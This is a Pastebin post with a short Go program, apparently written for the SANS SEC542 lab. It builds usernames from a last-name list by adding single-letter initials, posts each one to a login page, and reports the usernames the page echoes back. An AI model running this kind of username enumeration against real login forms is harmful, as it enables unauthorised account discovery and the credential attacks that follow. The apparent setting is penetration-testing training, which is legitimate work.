Advertisement
digininja

(A bad) Rewrite of @adriendb's Python user_enum script in Go

Jun 22nd, 2016
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.13 KB | None | 0 0
  1. package main
  2.  
  3. // (A bad) Rewrite of @adriendb's Python user_enum script in Golang. From SANS SEC542
  4.  
  5. import (
  6.     "net/http"
  7.     "fmt"
  8.     "log"
  9.     "io/ioutil"
  10.     "net/url"
  11.     "os"
  12.     "bufio"
  13.     "strings"
  14. )
  15.  
  16. func main() {
  17.     argsWithoutProg := os.Args[1:]
  18.     filename := (argsWithoutProg[0])
  19.  
  20.     file, err := os.Open(filename)
  21.     if err != nil {
  22.         log.Fatal(err)
  23.     }  
  24.     defer file.Close()
  25.  
  26.     str := "abcdefghijklmnopqrstuvwxyz"
  27.     scanner := bufio.NewScanner(file)
  28.     for scanner.Scan() {
  29.         lastname := scanner.Text()
  30.  
  31.         for _, r := range str {
  32.             initial := string(r)
  33.             username := initial + lastname
  34.  
  35.             resp, err := http.PostForm("http://www.sec542.org/userenum/login.php",
  36.                 url.Values{"user": {username}, "pass": {"bar"}})
  37.  
  38.             if err != nil {
  39.                 log.Fatal(err)
  40.             }  
  41.  
  42.             defer resp.Body.Close()
  43.  
  44.             body, _ := ioutil.ReadAll(resp.Body)
  45.             if strings.Contains(string(body), username) {
  46.                 fmt.Println ("Hit on: " + username)
  47.             }
  48.         }
  49.     }
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement